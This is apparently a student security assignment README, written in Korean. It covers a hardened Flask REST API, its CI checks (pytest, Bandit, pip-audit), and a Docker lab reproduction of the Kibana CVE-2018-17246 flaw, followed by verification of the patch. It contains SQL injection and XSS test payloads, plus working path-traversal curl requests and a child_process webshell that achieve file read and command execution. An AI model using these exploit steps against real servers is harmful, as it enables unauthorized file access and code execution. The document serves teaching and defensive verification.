
HDU IS Work 1 - CI/CD(pytest + bandit + pip-audit)를 갖춘 안전한 REST API(Flask) 및 CVE-2018-17246 분석
Python/Flask 기반의 안전한 REST API, GitHub Actions를 통한 CI/CD (SAST + SCA + 자동화된 테스트), 그리고 Docker 환경에서 재현된 실제 CVE에 대한 전체 분석 (Kibana LFI, CVE-2018-17246).
이름: Guhaotian HDU 번호: 23320209
https://github.com/ght657/work1-secure-api (공개)POST /auth/login — 비밀번호 해시를 검증한 후 서명된 JWT를 발급합니다.GET /api/data — JWT (Bearer 토큰)로 보호되며, 현재 사용자의 레코드를 반환합니다.GET /api/users/search?q= — 매개변수 바인딩된 SQL 쿼리를 사용하는 보호된 읽기 엔드포인트입니다.POST /api/posts (JWT 보호)는 저장형 XSS / 출력 이스케이프 보호를 보여줍니다.워크플로 파일: .github/workflows/ci.yml, main에 대한 모든 푸시에서 트리거됩니다.
| 작업 | 도구 | 수행 내용 | 증거 |
|---|---|---|---|
test | pytest 8 | 11개 테스트 스위트 실행 | evidence/07_pytest_run.png |
sast | Bandit 1.8.0 | app/, tests/ 정적 분석 (JSON 보고서가 아티팩트로 업로드됨) | evidence/08_bandit_report.png |
sca | pip-audit 2.8.0 | 의존성 감사 (JSON 보고서가 아티팩트로 업로드됨) | evidence/09_pip_audit_report.png |
테스트가 실패하거나 SAST/SCA 발견 사항이 남아 있으면 파이프라인이 실패하므로, 빨간색 파이프라인은 병합 전에 수정 사항을 푸시해야 함을 의미합니다.
11개 테스트, 모두 통과 (pytest -q):
tests/test_api.py::test_login_success_issues_token PASSED
tests/test_api.py::test_login_wrong_password_rejected PASSED
tests/test_api.py::test_login_unknown_user_same_error_as_wrong_password PASSED
tests/test_api.py::test_passwords_stored_as_bcrypt_hashes PASSED
tests/test_api.py::test_data_endpoint_denied_without_token PASSED
tests/test_api.py::test_data_endpoint_denied_with_invalid_token PASSED
tests/test_api.py::test_data_endpoint_works_with_valid_token PASSED
tests/test_api.py::test_create_post_requires_token PASSED
tests/test_api.py::test_sqli_payload_treated_as_data PASSED
tests/test_api.py::test_sqli_union_payload_does_not_dump_table PASSED
tests/test_api.py::test_xss_payload_is_escaped_in_response PASSED
11 passed in 2.20s
애플리케이션 코드는 자체 작성한 것이므로, 첫 실행에는 당연히 서드파티 노이즈가 포함되지 않습니다. 결과: 0 issues:
Run started:...
Test results:
No issues identified.
Code scanned:
Total lines of code: 228
Total lines skipped (#nosec): 0
Total potential issues skipped due to specifically being disabled (e.g., #nosec BXXX): 0
pip-audit는 알려진 CVE가 있는 모든 의존성을 나열합니다. 최초 실행에서 다음이 발견되었습니다:
Found 19 known vulnerabilities in 3 packages
Name Version ID Fix Versions
------------- ------- ----------------- ------------
flask 3.0.3 PYSEC-2026-2151 3.1.3
pyjwt 2.9.0 PYSEC-2026-120 2.12.0
pyjwt 2.9.0 PYSEC-2025-183 ...
pyjwt 2.9.0 ... up to 2.15.0
python-dotenv 1.0.1 PYSEC-2026-2270 1.2.2
총 19개 항목(Flask, PyJWT ×17, python-dotenv). 수정된 버전으로 업그레이드했습니다:
Flask 3.1.3, PyJWT 2.15.0 및 python-dotenv 제거(선택적 구성 도우미일 뿐 —
수정된 1.2.2는 Python ≥ 3.10을 요구하지만 감사 venv는 3.9임).
수정 후:
No known vulnerabilities found
(evidence/08b_bandit_after_fix.png, evidence/09b_pip_audit_after_fix.png)
API는 curl을 사용하여 고전적인 공격들에 대해 테스트되었습니다. 스크린샷은 evidence/에 있습니다:
username: "admin'--"를 사용한 POST /auth/login은 401 Invalid credentials를 반환합니다 —
조회는 해시된 자격 증명에 대해 ORM 매개변수 쿼리를 사용하므로, 주입된
페이로드는 데이터로 남아 있으며 결코 SQL이 되지 않습니다.
GET /api/users/search?q=%' OR '1'='1 → 문자열은
SELECT ... WHERE username LIKE ?에 매개변수로 바인딩되며(와일드카드 이스케이프됨), 따라서 아무것도 일치하지 않고 API는
빈 목록을 반환합니다 — 오류도 없고 전체 테이블 덤프도 없습니다.
title: "<script>alert('xss')</script>"를 사용한 POST /api/posts; 서버는
원시 문자열을 저장하지만 출력 시 이스케이프하므로(markupsafe.escape + jsonify), 반환되는
페이로드는 <script>alert('xss')</script>입니다 — 브라우저는 텍스트를 토글할 뿐,
실행하지 않습니다. (브라우저 렌더링을 통한 재현은 evidence/06_xss_readback.png에 나와 있습니다.)
401 {"error": "Missing or malformed Authorization header"} (evidence/03_data_denied.png)200 + 보호된 데이터 (evidence/04_data_with_token.png)401 (HS256을 사용한 서명 검사)401 (60분 만료)Authorization: Bearer <token>을 통해 사용됩니다
(evidence/10_jwt_structure.png는 3부분 구조를 보여줍니다).비밀번호는 bcrypt 해시(12 라운드)로 저장되며 어떤 엔드포인트에서도 반환되지 않습니다
(테스트 test_passwords_stored_as_bcrypt_hashes).
/etc/passwd)의
인증되지 않은 읽기, 그리고 취약한 경로가 파일을
JS 모듈로 요구하기 때문에 — 쓰기 가능한 경로에 접근할 수 있는 경우(예: 다른 결함이나
생성된 임시 파일을 통해) — 공격자가 제어하는 JS가 Kibana 프로세스에 의해 실행될 수 있습니다.GET /api/console/api_server?apis=../../../../../../etc/passwd — apis
매개변수는 단순한 경로 검사만 거친 후 require()에 전달되어, .. 시퀀스가 서버 측 api
디렉터리를 벗어나 임의 파일을 읽거나 실행할 수 있게 합니다.공개된 vulhub 이미지(이미 게시되었으며 취약함이 검증됨)를 사용합니다:
vulhub/kibana:5.6.12 + vulhub/elasticsearch:5.6.16 — 이 저장소의 같은 이름 폴더에 있는
CVE-2018-17246/docker-compose.yml을 참조하세요.
cd CVE-2018-17246
docker compose up -d # kibana 5.6.12 + elasticsearch 5.6.16, UI on :5601
1단계 — LFI 트리거 (Console API는 파일로 해석되는 apis 경로를 허용함):
curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"
응답은 500입니다(파일이 유효한 JS 모듈이 아님) 하지만 파일 내용이 서버 로그에 나타납니다 — Kibana가 파일을 읽고 require()를 시도합니다:
docker compose logs kibana | grep -i "passwd\|root:x"
2단계 — 코드 실행으로 권한 상승. 로컬 JS 파일이 동일한 경로를 통해 모듈로 로드됩니다: /tmp/vulhub.js에는 Console API가 내보낸 함수를 호출할 때 셸 명령을 실행하는 작은 "웹셸"이 포함되어 있습니다:
// /tmp/vulhub.js (written inside the Kibana container)
export default {
asJson: function(req, res) { return require('child_process').execSync('id').toString(); }
}
# write the file inside the container and load it
docker compose exec kibana bash -c "mkdir -p /tmp && cat > /tmp/vulhub.js << 'EOF'
export default {
asJson: function(req, res) { return require('child_process').execSync('id').toString(); }
}
EOF"
curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=/tmp/vulhub.js"
Kibana 로그에서 500 응답 앞에는 id의 출력(예: uid=0(root) gid=0(root) groups=0(root))이 나타나며, 이는 임의 명령 실행을 입증합니다.
스크린샷: evidence/cve/02_lfi_request.png, evidence/cve/03_lfi_logs.png,
evidence/cve/04_rce_request.png, evidence/cve/05_rce_result.png.
Kibana의 src/server/routes/api_server.js(Console API)는 apis 쿼리 매개변수를 해석하고
그것에 대해 require(...)를 호출합니다. 경로는 "api" 디렉터리와 결합되지만
사용자가 제공한 세그먼트에는 ../ 시퀀스가 포함될 수 있으며 결합 후
정규화되거나 제한되지 않습니다. 공격자는 api/ 디렉터리를 벗어나 임의의 파일에
도달합니다. 동일한 라우트가 파일을 JavaScript 모듈로 로드하기 때문에, 읽을 수 있는
임의의 파일만으로도 파일 내용을 렌더링하기에 충분하며, 공격자가 쓰기 가능한 JS 파일은
코드 실행이 됩니다.
이 취약점은 Kibana 6.4.3 / 5.6.13에서 수정되었습니다. 취약한 Console API는 더 이상
apis 매개변수가 허용된 API 디렉터리 밖으로 해석되도록 허용하지 않으며, 패치된
버전은 경로를 정규화하고 의도된 위치 밖의 모든 것을 거부합니다.
수정 사항 검증을 위해 공식 패치된 이미지인 docker.elastic.co/kibana/kibana:5.6.13을
실행합니다(폴더 CVE-2018-17246/docker-compose.fixed.yml, 설명은 CVE-2018-17246/FIX.md):
docker compose -f docker-compose.fixed.yml up -d
검증 — 패치된 버전에 대해 동일한 LFI 요청이 실패함:
curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"
# HTTP/1.1 400 Bad Request (request rejected)
패치된 서버 로그에는 해당 요청에 대한 파일 내용이 없으며, RCE 테스트 파일
/tmp/vulhub.js는 더 이상 실행되지 않습니다(uid= 출력 없음, 요청이 거부됨).
evidence/cve/06_fix_compose.png, evidence/cve/07_lfi_after_fix.png,
evidence/cve/08_regression_ui.png (UI는 여전히 정상적으로 로드됨 → 정상 사용에 대한 회귀 없음).